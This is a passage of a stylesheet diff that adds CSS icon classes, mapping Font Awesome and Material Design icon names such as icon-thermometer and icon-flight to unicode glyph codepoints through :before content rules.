+.icon-deaf:before { + content: "\f2a4"; +} +.icon-deafness:before { + content: "\f2a4"; +} +.icon-hard-of-hearing:before { + content: "\f2a4"; +} +.icon-glide:before { + content: "\f2a5"; +} +.icon-glide-g:before { + content: "\f2a6"; +} +.icon-sign-language:before { + content: "\f2a7"; +} +.icon-signing:before { + content: "\f2a7"; +} +.icon-low-vision:before { + content: "\f2a8"; +} +.icon-viadeo:before { + content: "\f2a9"; +} +.icon-viadeo-square:before { + content: "\f2aa"; +} +.icon-snapchat:before { + content: "\f2ab"; +} +.icon-snapchat-ghost:before { + content: "\f2ac"; +} +.icon-snapchat-square:before { + content: "\f2ad"; +} +.icon-pied-piper:before { + content: "\f2ae"; +} +.icon-first-order:before { + content: "\f2b0"; +} +.icon-yoast:before { + content: "\f2b1"; +} +.icon-themeisle:before { + content: "\f2b2"; +} +.icon-google-plus-circle:before { + content: "\f2b3"; +} +.icon-google-plus-official:before { + content: "\f2b3"; +} +.icon-fa:before { + content: "\f2b4"; +} +.icon-font-awesome:before { + content: "\f2b4"; +} +.icon-handshake-o:before { + content: "\f2b5"; +} +.icon-envelope-open:before { + content: "\f2b6"; +} +.icon-envelope-open-o:before { + content: "\f2b7"; +} +.icon-linode:before { + content: "\f2b8"; +} +.icon-address-book:before { + content: "\f2b9"; +} +.icon-address-book-o:before { + content: "\f2ba"; +} +.icon-address-card:before { + content: "\f2bb"; +} +.icon-vcard:before { + content: "\f2bb"; +} +.icon-address-card-o:before { + content: "\f2bc"; +} +.icon-vcard-o:before { + content: "\f2bc"; +} +.icon-user-circle:before { + content: "\f2bd"; +} +.icon-user-circle-o:before { + content: "\f2be"; +} +.icon-user-o:before { + content: "\f2c0"; +} +.icon-id-badge:before { + content: "\f2c1"; +} +.icon-drivers-license:before { + content: "\f2c2"; +} +.icon-id-card:before { + content: "\f2c2"; +} +.icon-drivers-license-o:before { + content: "\f2c3"; +} +.icon-id-card-o:before { + content: "\f2c3"; +} +.icon-quora:before { + content: "\f2c4"; +} +.icon-free-code-camp:before { + content: "\f2c5"; +} +.icon-telegram:before { + content: "\f2c6"; +} +.icon-thermometer:before { + content: "\f2c7"; +} +.icon-thermometer-4:before { + content: "\f2c7"; +} +.icon-thermometer-full:before { + content: "\f2c7"; +} +.icon-thermometer-3:before { + content: "\f2c8"; +} +.icon-thermometer-three-quarters:before { + content: "\f2c8"; +} +.icon-thermometer-2:before { + content: "\f2c9"; +} +.icon-thermometer-half:before { + content: "\f2c9"; +} +.icon-thermometer-1:before { + content: "\f2ca"; +} +.icon-thermometer-quarter:before { + content: "\f2ca"; +} +.icon-thermometer-0:before { + content: "\f2cb"; +} +.icon-thermometer-empty:before { + content: "\f2cb"; +} +.icon-shower:before { + content: "\f2cc"; +} +.icon-bath:before { + content: "\f2cd"; +} +.icon-bathtub:before { + content: "\f2cd"; +} +.icon-s15:before { + content: "\f2cd"; +} +.icon-podcast:before { + content: "\f2ce"; +} +.icon-window-maximize:before { + content: "\f2d0"; +} +.icon-window-minimize:before { + content: "\f2d1"; +} +.icon-window-restore:before { + content: "\f2d2"; +} +.icon-times-rectangle:before { + content: "\f2d3"; +} +.icon-window-close:before { + content: "\f2d3"; +} +.icon-times-rectangle-o:before { + content: "\f2d4"; +} +.icon-window-close-o:before { + content: "\f2d4"; +} +.icon-bandcamp:before { + content: "\f2d5"; +} +.icon-grav:before { + content: "\f2d6"; +} +.icon-etsy:before { + content: "\f2d7"; +} +.icon-imdb:before { + content: "\f2d8"; +} +.icon-ravelry:before { + content: "\f2d9"; +} +.icon-eercast:before { + content: "\f2da"; +} +.icon-microchip:before { + content: "\f2db"; +} +.icon-snowflake-o:before { + content: "\f2dc"; +} +.icon-superpowers:before { + content: "\f2dd"; +} +.icon-wpexplorer:before { + content: "\f2de"; +} +.icon-meetup:before { + content: "\f2e0"; +} +.icon-3d_rotation:before { + content: "\e84d"; +} +.icon-ac_unit:before { + content: "\eb3b"; +} +.icon-alarm:before { + content: "\e855"; +} +.icon-access_alarms:before { + content: "\e191"; +} +.icon-schedule:before { + content: "\e8b5"; +} +.icon-accessibility:before { + content: "\e84e"; +} +.icon-accessible:before { + content: "\e914"; +} +.icon-account_balance:before { + content: "\e84f"; +} +.icon-account_balance_wallet:before { + content: "\e850"; +} +.icon-account_box:before { + content: "\e851"; +} +.icon-account_circle:before { + content: "\e853"; +} +.icon-adb:before { + content: "\e60e"; +} +.icon-add:before { + content: "\e145"; +} +.icon-add_a_photo:before { + content: "\e439"; +} +.icon-alarm_add:before { + content: "\e856"; +} +.icon-add_alert:before { + content: "\e003"; +} +.icon-add_box:before { + content: "\e146"; +} +.icon-add_circle:before { + content: "\e147"; +} +.icon-control_point:before { + content: "\e3ba"; +} +.icon-add_location:before { + content: "\e567"; +} +.icon-add_shopping_cart:before { + content: "\e854"; +} +.icon-queue:before { + content: "\e03c"; +} +.icon-add_to_queue:before { + content: "\e05c"; +} +.icon-adjust2:before { + content: "\e39e"; +} +.icon-airline_seat_flat:before { + content: "\e630"; +} +.icon-airline_seat_flat_angled:before { + content: "\e631"; +} +.icon-airline_seat_individual_suite:before { + content: "\e632"; +} +.icon-airline_seat_legroom_extra:before { + content: "\e633"; +} +.icon-airline_seat_legroom_normal:before { + content: "\e634"; +} +.icon-airline_seat_legroom_reduced:before { + content: "\e635"; +} +.icon-airline_seat_recline_extra:before { + content: "\e636"; +} +.icon-airline_seat_recline_normal:before { + content: "\e637"; +} +.icon-flight:before { + content: "\e539"; +} +.icon-airplanemode_inactive:before { + content: "\e194"; +} +.icon-airplay:before { + content: "\e055"; +} +.icon-airport_shuttle:before { + content: "\eb3c"; +} +.icon-alarm_off:before { + content: "\e857"; +} +.icon-alarm_on:before { + content: "\e858"; +} +.icon-album:before { + content: "\e019"; +} +.icon-all_inclusive:before { + content: "\eb3d"; +} +.icon-all_out:before { + content: "\e90b"; +} +.icon-android2:before { + content: "\e859"; +} +.icon-announcement:before { + content: "\e85a"; +} +.icon-apps:before { + content: "\e5c3"; +} +.icon-archive2:before { + content: "\e149"; +} +.icon-arrow_back:before { + content: "\e5c4"; +} +.icon-arrow_downward:before { + content: "\e5db"; +} +.icon-arrow_drop_down:before { + content: "\e5c5"; +} +.icon-arrow_drop_down_circle:before { + content: "\e5c6"; +} +.icon-arrow_drop_up:before { + content: "\e5c7"; +} +.icon-arrow_forward:before { + content: "\e5c8"; +} +.icon-arrow_upward:before { + content: "\e5d8"; +} +.icon-art_track:before { + content: "\e060"; +} +.icon-aspect_ratio:before { + content: "\e85b"; +} +.icon-poll:before { + content: "\e801"; +} +.icon-assignment:before { + content: "\e85d"; +} +.icon-assignment_ind:before { + content: "\e85e"; +} +.icon-assignment_late:before { + content: "\e85f"; +} +.icon-assignment_return:before { + content: "\e860"; +} +.icon-assignment_returned:before { + content: "\e861"; +} +.icon-assignment_turned_in:before { + content: "\e862"; +} +.icon-assistant:before { + content: "\e39f"; +} +.icon-flag2:before { + content: "\e153"; +} +.icon-attach_file:before { + content: "\e226"; +} +.icon-attach_money:before { + content: "\e227"; +} +.icon-attachment:before { + content: "\e2bc"; +} +.icon-audiotrack:before { + content: "\e3a1"; +} +.icon-autorenew:before { + content: "\e863"; +} +.icon-av_timer:before { + content: "\e01b"; +} +.icon-backspace:before { + content: "\e14a"; +} +.icon-cloud_upload:before { + content: "\e2c3"; +} +.icon-battery_alert:before { + content: "\e19c"; +} +.icon-battery_charging_full:before { + content: "\e1a3"; +} +.icon-battery_std:before { + content: "\e1a5"; +} +.icon-battery_unknown:before { + content: "\e1a6"; +} +.icon-beach_access:before { + content: "\eb3e"; +} +.icon-beenhere:before { + content: "\e52d"; +} +.icon-block:before { + content: "\e14b"; +} +.icon-bluetooth2:before { + content: "\e1a7"; +} +.icon-bluetooth_searching:before { + content: "\e1aa"; +} +.icon-bluetooth_connected:before { + content: "\e1a8"; +} +.icon-bluetooth_disabled:before { + content: "\e1a9"; +} +.icon-blur_circular:before { + content: "\e3a2"; +} +.icon-blur_linear:before { + content: "\e3a3"; +} +.icon-blur_off:before { + content: "\e3a4"; +} +.icon-blur_on:before { + content: "\e3a5"; +} +.icon-class:before { + content: "\e86e"; +} +.icon-turned_in:before { + content: "\e8e6"; +} +.icon-turned_in_not:before { + content: "\e8e7"; +} +.icon-border_all:before { + content: "\e228"; +} +.icon-border_bottom:before { + content: "\e229"; +} +.icon-border_clear:before { + content: "\e22a"; +} +.icon-border_color:before { + content: "\e22b"; +} +.icon-border_horizontal:before { + content: "\e22c"; +} +.icon-border_inner:before { + content: "\e22d"; +} +.icon-border_left:before { + content: "\e22e"; +} +.icon-border_outer:before { + content: "\e22f"; +} +.icon-border_right:before { + content: "\e230"; +} +.icon-border_style:before { + content: "\e231"; +} +.icon-border_top:before { + content: "\e232"; +} +.icon-border_vertical:before { + content: "\e233"; +} +.icon-branding_watermark:before { + content: "\e06b"; +} +.icon-brightness_1:before { + content: "\e3a6"; +} +.icon-brightness_2:before { + content: "\e3a7"; +} +.icon-brightness_3:before { + content: "\e3a8"; +} +.icon-brightness_4:before { + content: "\e3a9"; +} +.icon-brightness_low:before { + content: "\e1ad"; +} +.icon-brightness_medium:before { + content: "\e1ae"; +} +.icon-brightness_high:before { + content: "\e1ac"; +} +.icon-brightness_auto:before { + content: "\e1ab"; +} +.icon-broken_image:before { + content: "\e3ad"; +} +.icon-brush:before { + content: "\e3ae"; +} +.icon-bubble_chart:before { + content: "\e6dd"; +} +.icon-bug_report:before { + content: "\e868"; +} +.icon-build:before { + content: "\e869"; +} +.icon-burst_mode:before { + content: "\e43c"; +} +.icon-domain:before { + content: "\e7ee"; +} +.icon-business_center:before { + content: "\eb3f"; +} +.icon-cached:before { + content: "\e86a"; +} +.icon-cake:before { + content: "\e7e9"; +} +.icon-phone2:before { + content: "\e0cd"; +} +.icon-call_end:before { + content: "\e0b1"; +} +.icon-call_made:before { + content: "\e0b2"; +} +.icon-merge_type:before { + content: "\e252"; +} +.icon-call_missed:before { + content: "\e0b4"; +} +.icon-call_missed_outgoing:before { + content: "\e0e4"; +} +.icon-call_received:before { + content: "\e0b5"; +} +.icon-call_split:before { + content: "\e0b6"; +} +.icon-call_to_action:before { + content: "\e06c"; +} +.icon-camera2:before { + content: "\e3af"; +} +.icon-photo_camera:before { + content: "\e412"; +} +.icon-camera_enhance:before { + content: "\e8fc"; +} +.icon-camera_front:before { + content: "\e3b1"; +} +.icon-camera_rear:before { + content: "\e3b2"; +} +.icon-camera_roll:before { + content: "\e3b3"; +} +.icon-cancel:before { + content: "\e5c9"; +} +.icon-redeem:before { + content: "\e8b1"; +} +.icon-card_membership:before { + content: "\e8f7"; +} +.icon-card_travel:before { + content: "\e8f8"; +} +.icon-casino:before { + content: "\eb40"; +} +.icon-cast:before { + content: "\e307"; +} +.icon-cast_connected:before { + content: "\e308"; +} +.icon-center_focus_strong:before { + content: "\e3b4"; +} +.icon-center_focus_weak:before { + content: "\e3b5"; +} +.icon-change_history:before { + content: "\e86b"; +} +.icon-chat:before { + content: "\e0b7"; +} +.icon-chat_bubble:before { + content: "\e0ca"; +} +.icon-chat_bubble_outline:before { + content: "\e0cb"; +} +.icon-check2:before { + content: "\e5ca"; +} +.icon-check_box:before { + content: "\e834"; +} +.icon-check_box_outline_blank:before { + content: "\e835"; +} +.icon-check_circle:before { + content: "\e86c"; +} +.icon-navigate_before:before { + content: "\e408"; +} +.icon-navigate_next:before { + content: "\e409"; +} +.icon-child_care:before { + content: "\eb41"; +} +.icon-child_friendly:before { + content: "\eb42"; +} +.icon-chrome_reader_mode:before { + content: "\e86d"; +} +.icon-close2:before { + content: "\e5cd"; +} +.icon-clear_all:before { + content: "\e0b8"; +} +.icon-closed_caption:before { + content: "\e01c"; +} +.icon-wb_cloudy:before { + content: "\e42d"; +} +.icon-cloud_circle:before { + content: "\e2be"; +} +.icon-cloud_done:before { + content: "\e2bf"; +} +.icon-cloud_download:before { + content: "\e2c0"; +} +.icon-cloud_off:before { + content: "\e2c1"; +} +.icon-cloud_queue:before { + content: "\e2c2"; +} +.icon-code2:before { + content: "\e86f"; +} +.icon-photo_library:before { + content: "\e413"; +} +.icon-collections_bookmark:before { + content: "\e431"; +} +.icon-palette:before { + content: "\e40a"; +} +.icon-colorize:before { + content: "\e3b8"; +} +.icon-comment2:before { + content: "\e0b9"; +} +.icon-compare:before { + content: "\e3b9"; +} +.icon-compare_arrows:before { + content: "\e915"; +} +.icon-laptop2:before { + content: "\e31e"; +} +.icon-confirmation_number:before { + content: "\e638"; +} +.icon-contact_mail:before { + content: "\e0d0"; +} +.icon-contact_phone:before { + content: "\e0cf"; +} +.icon-contacts:before { + content: "\e0ba"; +} +.icon-content_copy:before { + content: "\e14d"; +} +.icon-content_cut:before { + content: "\e14e"; +} +.icon-content_paste:before { + content: "\e14f"; +} +.icon-control_point_duplicate:before { + content: "\e3bb"; +} +.icon-copyright2:before { + content: "\e90c"; +} +.icon-mode_edit:before { + content: "\e254"; +} +.icon-create_new_folder:before { + content: "\e2cc"; +} +.icon-payment:before { + content: "\e8a1"; +} +.icon-crop2:before { + content: "\e3be"; +} +.icon-crop_16_9:before { + content: "\e3bc"; +} +.icon-crop_3_2:before { + content: "\e3bd"; +} +.icon-crop_landscape:before { + content: "\e3c3"; +} +.icon-crop_7_5:before { + content: "\e3c0"; +} +.icon-crop_din:before { + content: "\e3c1"; +} +.icon-crop_free:before { + content: "\e3c2"; +} +.icon-crop_original:before { + content: "\e3c4"; +} +.icon-crop_portrait:before { + content: "\e3c5"; +} +.icon-crop_rotate:before { + content: "\e437"; +} +.icon-crop_square:before { + content: "\e3c6"; +} +.icon-dashboard2:before { + content: "\e871"; +} +.icon-data_usage:before { + content: "\e1af"; +} +.icon-date_range:before { + content: "\e916"; +} +.icon-dehaze:before { + content: "\e3c7"; +} +.icon-delete:before { + content: "\e872"; +} +.icon-delete_forever:before { + content: "\e92b"; +} +.icon-delete_sweep:before { + content: "\e16c"; +} +.icon-description:before { + content: "\e873"; +} +.icon-desktop_mac:before { + content: "\e30b"; +} +.icon-desktop_windows:before { + content: "\e30c"; +} +.icon-details:before { + content: "\e3c8"; +} +.icon-developer_board:before { + content: "\e30d"; +} +.icon-developer_mode:before { + content: "\e1b0"; +} +.icon-device_hub:before { + content: "\e335"; +} +.icon-phonelink:before { + content: "\e326"; +} +.icon-devices_other:before { + content: "\e337"; +} +.icon-dialer_sip:before { + content: "\e0bb"; +} +.icon-dialpad:before { + content: "\e0bc"; +} +.icon-directions:before { + content: "\e52e"; +} +.icon-directions_bike:before { + content: "\e52f"; +} +.icon-directions_boat:before { + content: "\e532"; +} +.icon-directions_bus:before { + content: "\e530"; +} +.icon-directions_car:before { + content: "\e531"; +} +.icon-directions_railway:before { + content: "\e534"; +} +.icon-directions_run:before { + content: "\e566"; +} +.icon-directions_transit:before { + content: "\e535"; +} +.icon-directions_walk:before { + content: "\e536"; +} +.icon-disc_full:before { + content: "\e610"; +} +.icon-dns:before { + content: "\e875"; +} +.icon-not_interested:before { + content: "\e033"; +} +.icon-do_not_disturb_alt:before { + content: "\e611"; +} +.icon-do_not_disturb_off:before { + content: "\e643"; +} +.icon-remove_circle:before { + content: "\e15c"; +} +.icon-dock:before { + content: "\e30e"; +} +.icon-done:before { + content: "\e876"; +} +.icon-done_all:before { + content: "\e877"; +} +.icon-donut_large:before { + content: "\e917"; +} +.icon-donut_small:before { + content: "\e918"; +} +.icon-drafts:before { + content: "\e151"; +} +.icon-drag_handle:before { + content: "\e25d"; +} +.icon-time_to_leave:before { + content: "\e62c"; +} +.icon-dvr:before { + content: "\e1b2"; +} +.icon-edit_location:before { + content: "\e568"; +} +.icon-eject2:before { + content: "\e8fb"; +} +.icon-markunread:before { + content: "\e159"; +} +.icon-enhanced_encryption:before { + content: "\e63f"; +} +.icon-equalizer:before { + content: "\e01d"; +} +.icon-error:before { + content: "\e000"; +} +.icon-error_outline:before { + content: "\e001"; +} +.icon-euro_symbol:before { + content: "\e926"; +} +.icon-ev_station:before { + content: "\e56d"; +} +.icon-insert_invitation:before { + content: "\e24f"; +} +.icon-event_available:before { + content: "\e614"; +} +.icon-event_busy:before { + content: "\e615"; +} +.icon-event_note:before { + content: "\e616"; +} +.icon-event_seat:before { + content: "\e903"; +} +.icon-exit_to_app:before { + content: "\e879"; +} +.icon-expand_less:before { + content: "\e5ce"; +} +.icon-expand_more:before { + content: "\e5cf"; +} +.icon-explicit:before { + content: "\e01e"; +} +.icon-explore:before { + content: "\e87a"; +} +.icon-exposure:before { + content: "\e3ca"; +} +.icon-exposure_neg_1:before { + content: "\e3cb"; +} +.icon-exposure_neg_2:before { + content: "\e3cc"; +} +.icon-exposure_plus_1:before { + content: "\e3cd"; +} +.icon-exposure_plus_2:before { + content: "\e3ce"; +} +.icon-exposure_zero:before { + content: "\e3cf"; +} +.icon-extension:before { + content: "\e87b"; +} +.icon-face:before { + content: "\e87c"; +} +.icon-fast_forward:before { + content: "\e01f"; +} +.icon-fast_rewind:before { + content: "\e020"; +} +.icon-favorite:before { + content: "\e87d"; +} +.icon-favorite_border:before { + content: "\e87e"; +} +.icon-featured_play_list:before { + content: "\e06d"; +} +.icon-featured_video:before { + content: "\e06e"; +} +.icon-sms_failed:before { + content: "\e626"; +} +.icon-fiber_dvr:before { + content: "\e05d"; +} +.icon-fiber_manual_record:before { + content: "\e061"; +} +.icon-fiber_new:before { + content: "\e05e"; +} +.icon-fiber_pin:before { + content: "\e06a"; +} +.icon-fiber_smart_record:before { + content: "\e062"; +} +.icon-get_app:before { + content: "\e884"; +} +.icon-file_upload:before { + content: "\e2c6"; +} +.icon-filter2:before { + content: "\e3d3"; +} +.icon-filter_1:before { + content: "\e3d0"; +} +.icon-filter_2:before { + content: "\e3d1"; +} +.icon-filter_3:before { + content: "\e3d2"; +} +.icon-filter_4:before { + content: "\e3d4"; +} +.icon-filter_5:before { + content: "\e3d5"; +} +.icon-filter_6:before { + content: "\e3d6"; +} +.icon-filter_7:before { + content: "\e3d7"; +} +.icon-filter_8:before { + content: "\e3d8"; +} +.icon-filter_9:before { + content: "\e3d9"; +} +.icon-filter_9_plus:before { + content: "\e3da"; +} +.icon-filter_b_and_w:before { + content: "\e3db"; +} +.icon-filter_center_focus:before { + content: "\e3dc"; +} +.icon-filter_drama:before { + content: "\e3dd"; +} +.icon-filter_frames:before { + content: "\e3de"; +} +.icon-terrain:before { + content: "\e564"; +} +.icon-filter_list:before { + content: "\e152"; +} +.icon-filter_none:before { + content: "\e3e0"; +} +.icon-filter_tilt_shift:before { + content: "\e3e2"; +} +.icon-filter_vintage:before { + content: "\e3e3"; +} +.icon-find_in_page:before { + content: "\e880"; +} +.icon-find_replace:before { + content: "\e881"; +} +.icon-fingerprint:before { + content: "\e90d"; +} +.icon-first_page:before { + content: "\e5dc"; +} +.icon-fitness_center:before { + content: "\eb43"; +} +.icon-flare:before { + content: "\e3e4"; +} +.icon-flash_auto:before { + content: "\e3e5"; +} +.icon-flash_off:before { + content: "\e3e6"; +} +.icon-flash_on:before { + content: "\e3e7"; +} +.icon-flight_land:before { + content: "\e904"; +} +.icon-flight_takeoff:before { + content: "\e905"; +} +.icon-flip:before { + content: "\e3e8"; +} +.icon-flip_to_back:before { + content: "\e882"; +} +.icon-flip_to_front:before { + content: "\e883"; +} +.icon-folder2:before { + content: "\e2c7"; +} +.icon-folder_open:before { + content: "\e2c8"; +} +.icon-folder_shared:before { + content: "\e2c9"; +} +.icon-folder_special:before { + content: "\e617"; +} +.icon-font_download:before { + content: "\e167"; +} +.icon-format_align_center:before { + content: "\e234"; +} +.icon-format_align_justify:before { + content: "\e235"; +} +.icon-format_align_left:before { + content: "\e236"; +} +.icon-format_align_right:before { + content: "\e237"; +} +.icon-format_bold:before { + content: "\e238"; +} +.icon-format_clear:before { + content: "\e239"; +} +.icon-format_color_fill:before { + content: "\e23a"; +} +.icon-format_color_reset:before { + content: "\e23b"; +} +.icon-format_color_text:before { + content: "\e23c"; +} +.icon-format_indent_decrease:before { + content: "\e23d"; +} +.icon-format_indent_increase:before { + content: "\e23e"; +} +.icon-format_italic:before { + content: "\e23f"; +} +.icon-format_line_spacing:before { + content: "\e240"; +} +.icon-format_list_bulleted:before { + content: "\e241"; +} +.icon-format_list_numbered:before { + content: "\e242"; +} +.icon-format_paint:before { + content: "\e243"; +} +.icon-format_quote:before { + content: "\e244"; +} +.icon-format_shapes:before { + content: "\e25e"; +} +.icon-format_size:before { + content: "\e245"; +} +.icon-format_strikethrough:before { + content: "\e246"; +} +.icon-format_textdirection_l_to_r:before { + content: "\e247"; +} +.icon-format_textdirection_r_to_l:before { + content: "\e248"; +} +.icon-format_underlined:before { + content: "\e249"; +} +.icon-question_answer:before { + content: "\e8af"; +} +.icon-forward2:before { + content: "\e154"; +} +.icon-forward_10:before { + content: "\e056"; +} +.icon-forward_30:before { + content: "\e057"; +} +.icon-forward_5:before { + content: "\e058"; +} +.icon-free_breakfast:before { + content: "\eb44"; +} +.icon-fullscreen:before { + content: "\e5d0"; +} +.icon-fullscreen_exit:before { + content: "\e5d1"; +} +.icon-functions:before { + content: "\e24a"; +} +.icon-g_translate:before { + content: "\e927"; +} +.icon-games:before { + content: "\e021"; +} +.icon-gavel2:before { + content: "\e90e"; +} +.icon-gesture:before { + content: "\e155"; +} +.icon-gif:before { + content: "\e908"; +} +.icon-goat:before { + content: "\e900"; +} +.icon-golf_course:before { + content: "\eb45"; +} +.icon-my_location:before { + content: "\e55c"; +} +.icon-location_searching:before { + content: "\e1b7"; +} +.icon-location_disabled:before { + content: "\e1b6"; +} +.icon-star2:before { + content: "\e838"; +} +.icon-gradient:before { + content: "\e3e9"; +} +.icon-grain:before { + content: "\e3ea"; +} +.icon-graphic_eq:before { + content: "\e1b8"; +} +.icon-grid_off:before { + content: "\e3eb"; +} +.icon-grid_on:before { + content: "\e3ec"; +} +.icon-people:before { + content: "\e7fb"; +} +.icon-group_add:before { + content: "\e7f0"; +} +.icon-group_work:before { + content: "\e886"; +} +.icon-hd:before { + content: "\e052"; +} +.icon-hdr_off:before { + content: "\e3ed"; +} +.icon-hdr_on:before { + content: "\e3ee"; +} +.icon-hdr_strong:before { + content: "\e3f1"; +} +.icon-hdr_weak:before { + content: "\e3f2"; +} +.icon-headset:before { + content: "\e310"; +} +.icon-headset_mic:before { + content: "\e311"; +} +.icon-healing:before { + content: "\e3f3"; +} +.icon-hearing:before { + content: "\e023"; +} +.icon-help:before { + content: "\e887"; +} +.icon-help_outline:before { + content: "\e8fd"; +} +.icon-high_quality:before { + content: "\e024"; +} +.icon-highlight:before { + content: "\e25f"; +} +.icon-highlight_off:before { + content: "\e888"; +} +.icon-restore:before { + content: "\e8b3"; +} +.icon-home2:before { + content: "\e88a"; +} +.icon-hot_tub:before { + content: "\eb46"; +} +.icon-local_hotel:before { + content: "\e549"; +} +.icon-hourglass_empty:before { + content: "\e88b"; +} +.icon-hourglass_full:before { + content: "\e88c"; +} +.icon-http:before { + content: "\e902"; +} +.icon-lock2:before { + content: "\e897"; +} +.icon-photo2:before { + content: "\e410"; +} +.icon-image_aspect_ratio:before { + content: "\e3f5"; +} +.icon-import_contacts:before { + content: "\e0e0"; +} +.icon-import_export:before { + content: "\e0c3"; +} +.icon-important_devices:before { + content: "\e912"; +} +.icon-inbox2:before { + content: "\e156"; +} +.icon-indeterminate_check_box:before { + content: "\e909"; +} +.icon-info2:before { + content: "\e88e"; +} +.icon-info_outline:before { + content: "\e88f"; +} +.icon-input:before { + content: "\e890"; +} +.icon-insert_comment:before { + content: "\e24c"; +} +.icon-insert_drive_file:before { + content: "\e24d"; +} +.icon-tag_faces:before { + content: "\e420"; +} +.icon-link2:before { + content: "\e157"; +} +.icon-invert_colors:before { + content: "\e891"; +} +.icon-invert_colors_off:before { + content: "\e0c4"; +} +.icon-iso:before { + content: "\e3f6"; +} +.icon-keyboard:before { + content: "\e312"; +} +.icon-keyboard_arrow_down:before { + content: "\e313"; +} +.icon-keyboard_arrow_left:before { + content: "\e314"; +} +.icon-keyboard_arrow_right:before { + content: "\e315"; +} +.icon-keyboard_arrow_up:before { + content: "\e316"; +} +.icon-keyboard_backspace:before { + content: "\e317"; +} +.icon-keyboard_capslock:before { + content: "\e318"; +} +.icon-keyboard_hide:before { + content: "\e31a"; +} +.icon-keyboard_return:before { + content: "\e31b"; +} +.icon-keyboard_tab:before { + content: "\e31c"; +} +.icon-keyboard_voice:before { + content: "\e31d"; +} +.icon-kitchen:before { + content: "\eb47"; +} +.icon-label:before { + content: "\e892"; +} +.icon-label_outline:before { + content: "\e893"; +} +.icon-language2:before { + content: "\e894"; +} +.icon-laptop_chromebook:before { + content: "\e31f"; +} +.icon-laptop_mac:before { + content: "\e320"; +} +.icon-laptop_windows:before { + content: "\e321"; +} +.icon-last_page:before { + content: "\e5dd"; +} +.icon-open_in_new:before { + content: "\e89e"; +} +.icon-layers:before { + content: "\e53b"; +} +.icon-layers_clear:before { + content: "\e53c"; +} +.icon-leak_add:before { + content: "\e3f8"; +} +.icon-leak_remove:before { + content: "\e3f9"; +} +.icon-lens:before { + content: "\e3fa"; +} +.icon-library_books:before { + content: "\e02f"; +} +.icon-library_music:before { + content: "\e030"; +} +.icon-lightbulb_outline:before { + content: "\e90f"; +} +.icon-line_style:before { + content: "\e919"; +} +.icon-line_weight:before { + content: "\e91a"; +} +.icon-linear_scale:before { + content: "\e260"; +} +.icon-linked_camera:before { + content: "\e438"; +} +.icon-list2:before { + content: "\e896"; +} +.icon-live_help:before { + content: "\e0c6"; +} +.icon-live_tv:before { + content: "\e639"; +} +.icon-local_play:before { + content: "\e553"; +} +.icon-local_airport:before { + content: "\e53d"; +} +.icon-local_atm:before { + content: "\e53e"; +} +.icon-local_bar:before { + content: "\e540"; +} +.icon-local_cafe:before { + content: "\e541"; +} +.icon-local_car_wash:before { + content: "\e542"; +} +.icon-local_convenience_store:before { + content: "\e543"; +} +.icon-restaurant_menu:before { + content: "\e561"; +} +.icon-local_drink:before { + content: "\e544"; +} +.icon-local_florist:before { + content: "\e545"; +} +.icon-local_gas_station:before { + content: "\e546"; +} +.icon-shopping_cart:before { + content: "\e8cc"; +} +.icon-local_hospital:before { + content: "\e548"; +} +.icon-local_laundry_service:before { + content: "\e54a"; +} +.icon-local_library:before { + content: "\e54b"; +} +.icon-local_mall:before { + content: "\e54c"; +} +.icon-theaters:before { + content: "\e8da"; +} +.icon-local_offer:before { + content: "\e54e"; +} +.icon-local_parking:before { + content: "\e54f"; +} +.icon-local_pharmacy:before { + content: "\e550"; +} +.icon-local_pizza:before { + content: "\e552"; +} +.icon-print2:before { + content: "\e8ad"; +} +.icon-local_shipping:before { + content: "\e558"; +} +.icon-local_taxi:before { + content: "\e559"; +} +.icon-location_city:before { + content: "\e7f1"; +} +.icon-location_off:before { + content: "\e0c7"; +} +.icon-room:before { + content: "\e8b4"; +} +.icon-lock_open:before { + content: "\e898"; +} +.icon-lock_outline:before { + content: "\e899"; +} +.icon-looks:before { + content: "\e3fc"; +} +.icon-looks_3:before { + content: "\e3fb"; +} +.icon-looks_4:before { + content: "\e3fd"; +} +.icon-looks_5:before { + content: "\e3fe"; +} +.icon-looks_6:before { + content: "\e3ff"; +} +.icon-looks_one:before { + content: "\e400"; +} +.icon-looks_two:before { + content: "\e401"; +} +.icon-sync:before { + content: "\e627"; +} +.icon-loupe:before { + content: "\e402"; +} +.icon-low_priority:before { + content: "\e16d"; +} +.icon-loyalty:before { + content: "\e89a"; +} +.icon-mail_outline:before { + content: "\e0e1"; +} +.icon-map2:before { + content: "\e55b"; +} +.icon-markunread_mailbox:before { + content: "\e89b"; +} +.icon-memory:before { + content: "\e322"; +} +.icon-menu:before { + content: "\e5d2"; +} +.icon-message:before { + content: "\e0c9"; +} +.icon-mic:before { + content: "\e029"; +} +.icon-mic_none:before { + content: "\e02a"; +} +.icon-mic_off:before { + content: "\e02b"; +} +.icon-mms:before { + content: "\e618"; +} +.icon-mode_comment:before { + content: "\e253"; +} +.icon-monetization_on:before { + content: "\e263"; +} +.icon-money_off:before { + content: "\e25c"; +} +.icon-monochrome_photos:before { + content: "\e403"; +} +.icon-mood_bad:before { + content: "\e7f3"; +} +.icon-more:before { + content: "\e619"; +} +.icon-more_horiz:before { + content: "\e5d3"; +} +.icon-more_vert:before { + content: "\e5d4"; +} +.icon-motorcycle2:before { + content: "\e91b"; +} +.icon-mouse:before { + content: "\e323"; +} +.icon-move_to_inbox:before { + content: "\e168"; +} +.icon-movie_creation:before { + content: "\e404"; +} +.icon-movie_filter:before { + content: "\e43a"; +} +.icon-multiline_chart:before { + content: "\e6df"; +} +.icon-music_note:before { + content: "\e405"; +} +.icon-music_video:before { + content: "\e063"; +} +.icon-nature:before { + content: "\e406"; +} +.icon-nature_people:before { + content: "\e407"; +} +.icon-navigation:before { + content: "\e55d"; +} +.icon-near_me:before { + content: "\e569"; +} +.icon-network_cell:before { + content: "\e1b9"; +} +.icon-network_check:before { + content: "\e640"; +} +.icon-network_locked:before { + content: "\e61a"; +} +.icon-network_wifi:before { + content: "\e1ba"; +} +.icon-new_releases:before { + content: "\e031"; +} +.icon-next_week:before { + content: "\e16a"; +} +.icon-nfc:before { + content: "\e1bb"; +} +.icon-no_encryption:before { + content: "\e641"; +} +.icon-signal_cellular_no_sim:before { + content: "\e1ce"; +} +.icon-note:before { + content: "\e06f"; +} +.icon-note_add:before { + content: "\e89c"; +} +.icon-notifications:before { + content: "\e7f4"; +} +.icon-notifications_active:before { + content: "\e7f7"; +} +.icon-notifications_none:before { + content: "\e7f5"; +} +.icon-notifications_off:before { + content: "\e7f6"; +} +.icon-notifications_paused:before { + content: "\e7f8"; +} +.icon-offline_pin:before { + content: "\e90a"; +} 